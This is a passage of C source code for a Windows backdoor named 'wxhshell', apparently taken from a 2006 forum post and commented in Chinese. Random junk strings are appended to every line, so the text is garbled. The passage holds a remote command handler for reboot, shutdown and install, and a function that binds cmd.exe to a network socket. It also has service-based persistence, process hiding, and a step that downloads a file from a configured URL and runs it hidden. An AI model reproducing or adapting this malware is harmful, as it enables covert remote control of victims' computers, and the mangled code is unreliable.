  else { tB[K4GNSQ  
R)v`ZF,/b  
    switch(cmd[0]) { rqIt}(J  
  V+Z22  
  // 帮助 ;8!D8o(+  
  case '?': { `&o|=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GC~::m~  
    break; h W-[omr0  
  } P VPwYmte  
  // 安装 2 Ug jH  
  case 'i': { F~ :5/-zs  
    if(Install()) b$BUo8O}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V}("8L  
    else S9.jc@#.`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7W*OyH^  
    break; ,xiRP$hGhh  
    } wFe</U-';  
  // 卸载 W\Gg!XsLk  
  case 'r': { N4Ym[l  
    if(Uninstall()) eWFlJ;=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rj8l]m6U9  
    else uzS57 O%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9X-DR  
    break; eK`tFs,u  
    } g$+3IVq&  
  // 显示 wxhshell 所在路径 Q{%ow:;s*  
  case 'p': { lm+wjhkN  
    char svExeFile[MAX_PATH]; .p&M@h w  
    strcpy(svExeFile,"\n\r"); /w|YNDA]j  
      strcat(svExeFile,ExeFile); yfU1;MI  
        send(wsh,svExeFile,strlen(svExeFile),0); |1neCP@ng  
    break; E^  rN)  
    } rkD(K G9E  
  // 重启 %Z.!Bm:  
  case 'b': { EV}%D9:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xd4~N:  
    if(Boot(REBOOT)) - na]P3 s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f~53:;L/  
    else { bY`k`3v  
    closesocket(wsh); E yNCky  
    ExitThread(0); ,HkJ.6KF  
    } |i|O9^*%  
    break; </fzBaTo  
    } V3UEuA  
  // 关机 n4ISHxM  
  case 'd': { m~}nM|m%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }5A?WH_  
    if(Boot(SHUTDOWN)) bv+PbK]iO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n9#@ e}r  
    else { [P<oyd@#  
    closesocket(wsh); 4"GY0) Q  
    ExitThread(0); -1@kt<Es  
    } Mqna0"IYx*  
    break; 'rSM6j  
    } F:n7yey  
  // 获取shell u+-}|  
  case 's': { a+Z/=YUR  
    CmdShell(wsh); "Aynt_a.  
    closesocket(wsh); CzwnmSv{.  
    ExitThread(0); H7uW|'XWz  
    break; +UB. M  
  } KjhOz%Yt[o  
  // 退出 GhX>YzD7  
  case 'x': { T3bBc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VH8,!#Q;  
    CloseIt(wsh); bk V_ ^8  
    break; Eg ;r]?|6  
    } FN G]  
  // 离开 EayZ*e ]  
  case 'q': { -&+[/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vzfWPjpKW  
    closesocket(wsh); 5Ba eHzI  
    WSACleanup(); D&.+Dx^G  
    exit(1); sVGyHA  
    break; Nl0*"}`I_  
        } 6L8wsz CW  
  } *S7<QyVh  
  } Mu TlN  
@<h@d_8^k  
  // 提示信息 oB+drDp8U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); caS5>wk`R  
} L,BuzU[1S  
  } 2WqjNqx)6  
{ymD.vf=9+  
  return; rxt)l  
} L~>pSP^a  
!?,rcgi  
// shell模块句柄 9[T}cN=|  
int CmdShell(SOCKET sock) 6,| !zaeS  
{ i ,ga2{GnM  
STARTUPINFO si; R e-4y5f  
ZeroMemory(&si,sizeof(si)); X$)<>e]!>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kx7s d i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lx(kbSxF  
PROCESS_INFORMATION ProcessInfo; T:dV[3  
char cmdline[]="cmd"; JZB7?@h%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'Y `or14E  
  return 0; | bDUekjR  
} ^O}`i  
|U)M.\h  
// 自身启动模式 $cflF@ 3  
int StartFromService(void) {%gMA?b|"  
{ m5`<XwD9  
typedef struct ^\KZE|^3@  
{ H85J MPZ7  
  DWORD ExitStatus; NSI$uS6  
  DWORD PebBaseAddress; QY|Rz(;m  
  DWORD AffinityMask; n3 y`='D  
  DWORD BasePriority; Bq@_/*'*Y  
  ULONG UniqueProcessId; F!ZE4S_  
  ULONG InheritedFromUniqueProcessId; gaV>WF  
}   PROCESS_BASIC_INFORMATION; vY)5<z&  
db#svj*  
PROCNTQSIP NtQueryInformationProcess; hh#p=Y(f  
%W` }  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =S#9\W&6Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i24t$7q  
iC2``[m"  
  HANDLE             hProcess; zi%Ql|zI~  
  PROCESS_BASIC_INFORMATION pbi; ]-g9dV_[>j  
5v5)vv.kd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5Q7Z$A1a 9  
  if(NULL == hInst ) return 0; ? `hA:X<  
4M*Z1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YpJJ]Rszg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4Dy|YH$>S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i/|}#yw8A  
z_f^L %J0  
  if (!NtQueryInformationProcess) return 0; D||)H  
FdGnNDl*e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?mwa6]  
  if(!hProcess) return 0; Y#[xX2z9  
D,\hRQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  T_)G5a  
*(E]]8o  
  CloseHandle(hProcess); )sN}ClgJ  
0uL*-/|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _$+BYK@  
if(hProcess==NULL) return 0;  gx9=L&=d  
g286 P_a`*  
HMODULE hMod; `:.a5  
char procName[255]; B_mT[)ut  
unsigned long cbNeeded; *[Im].  
rHiBW!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F/ o }5H  
*47HN7  
  CloseHandle(hProcess); ?xwLe  
o3W@)|>  
if(strstr(procName,"services")) return 1; // 以服务启动 >npTUOGL=n  
.fAHP 5-  
  return 0; // 注册表启动 X4eoE  
} nD.K*#u  
fU<_bg  
// 主模块 8'qq!WR~  
int StartWxhshell(LPSTR lpCmdLine) /Bq4! n+  
{ w"{mDL}c  
  SOCKET wsl; AZ>F+@d  
BOOL val=TRUE; HSR,moI  
  int port=0; \AeM=K6q+D  
  struct sockaddr_in door; Pj8W]SA_  
i&^]qL|J  
  if(wscfg.ws_autoins) Install(); AO]k*N,N  
w?V;ItcL  
port=atoi(lpCmdLine); Fe1XczB  
!?)aZ |r  
if(port<=0) port=wscfg.ws_port; )LAG$Cn  
qh|fq b  
  WSADATA data; 6t=)1T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m<sCRWa-  
RiG]-K:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #+&"m7 s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tH=jaFJ   
  door.sin_family = AF_INET; ZZ>F ^t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %6\L^RP  
  door.sin_port = htons(port); 4&AGVplgF  
[}I|tb>Pg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T]x]hQ  
closesocket(wsl); L"RE[" m  
return 1; ~p?D[]h  
} Ji.FG"h+2  
9^7z"*@#  
  if(listen(wsl,2) == INVALID_SOCKET) { =6a=`3r!I  
closesocket(wsl); &PPYxg<  
return 1; ,zEPdhTX  
} &r+!rL Kp  
  Wxhshell(wsl); @6M>x=n5  
  WSACleanup(); 4-BrE&2f  
t>P[Yld"  
return 0; yU>ucuF  
%Z8wUG  
} F. I\?b  
a4XK.[O  
// 以NT服务方式启动 !yvw5As%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _hgGF9  
{ b/_u\R ]-'  
DWORD   status = 0; wlQ @3RN>  
  DWORD   specificError = 0xfffffff; {Y3:Y+2X3*  
F-XMy>9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CDY3+!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e5D\m g)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =3nA5'UZ  
  serviceStatus.dwWin32ExitCode     = 0; ju!V1ky  
  serviceStatus.dwServiceSpecificExitCode = 0; ~Rx`:kQ  
  serviceStatus.dwCheckPoint       = 0; >3,}^`l  
  serviceStatus.dwWaitHint       = 0; #7"";"{ z|  
^x Z=";eq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WHqw=! G  
  if (hServiceStatusHandle==0) return; %!DTq`F  
`QZKW  
status = GetLastError(); _;R#B`9Iu  
  if (status!=NO_ERROR) Jpy~5kS  
{ 5~$WSL?O)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'J)9#  
    serviceStatus.dwCheckPoint       = 0; d6ifJ  
    serviceStatus.dwWaitHint       = 0; h*Mt{A&'.&  
    serviceStatus.dwWin32ExitCode     = status; a5(9~. 9  
    serviceStatus.dwServiceSpecificExitCode = specificError; aWNj l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b~{nS,_Rn  
    return; 6\Tq,I7  
  } P F);KQ  
IR?nH`V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RB6TM  
  serviceStatus.dwCheckPoint       = 0; %TO&  
  serviceStatus.dwWaitHint       = 0; 7q{yLcC"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s@g _F  
} e(FT4KD~  
1@}<CWE9  
// 处理NT服务事件,比如:启动、停止 WqS$C;]%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {E}D6`{  
{ PP/#Z~.M  
switch(fdwControl) $GOF'  
{ @1qdnU  
case SERVICE_CONTROL_STOP: Nfv` )n@  
  serviceStatus.dwWin32ExitCode = 0; OB++5Wd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i>C%[dk9  
  serviceStatus.dwCheckPoint   = 0; _n4_;0  
  serviceStatus.dwWaitHint     = 0; 99%R/m  
  { C' WX$!$d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3lKs>HE0  
  } />uE)R$  
  return; ~@e=+Z  
case SERVICE_CONTROL_PAUSE: I,aaSBwt&2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uL:NWgN  
  break; ] VEc9?  
case SERVICE_CONTROL_CONTINUE: 4q?R3 \e;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?kRx;S+  
  break; Xc&J.Tw#4*  
case SERVICE_CONTROL_INTERROGATE: 'Tskx  
  break; sQ&<cBs2  
}; {DE4PE`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s7\Ee-x)s  
} 9JeT1\VvHY  
Z`Jt6QgW  
// 标准应用程序主函数 BAG#YZB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nITkgN:s  
{ |x=(}g  
,#9i=gp  
// 获取操作系统版本 +i}uRO  
OsIsNt=GetOsVer(); MlLM $Y-@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,Ww.W'#P  
bIzBY+P  
  // 从命令行安装 &'/bnN +R  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1uEM;O  
QtcYFf g  
  // 下载执行文件 DYrci?8Ith  
if(wscfg.ws_downexe) { #MviO!@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b/tc D r  
  WinExec(wscfg.ws_filenam,SW_HIDE); Zrew}0  
} cV7a, *  
BqavI&1=  
if(!OsIsNt) { AmUH]+5KT  
// 如果时win9x,隐藏进程并且设置为注册表启动 MM&qLAa"f  
HideProc(); Tt_QAIl  
StartWxhshell(lpCmdLine); ,>nf/c0.  
} !<F5W <V  
else .3>q3sS  
  if(StartFromService()) e:.D^G Fi  
  // 以服务方式启动 WopA7J,  
  StartServiceCtrlDispatcher(DispatchTable); Q91mCP~$  
else IU"n`HS  
  // 普通方式启动 f1B t6|W%  
  StartWxhshell(lpCmdLine); dIA1\;@  
[(vV45(E  
return 0; IK8" 3+(  
}
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只看该作者 1 发表于: 2006-10-10
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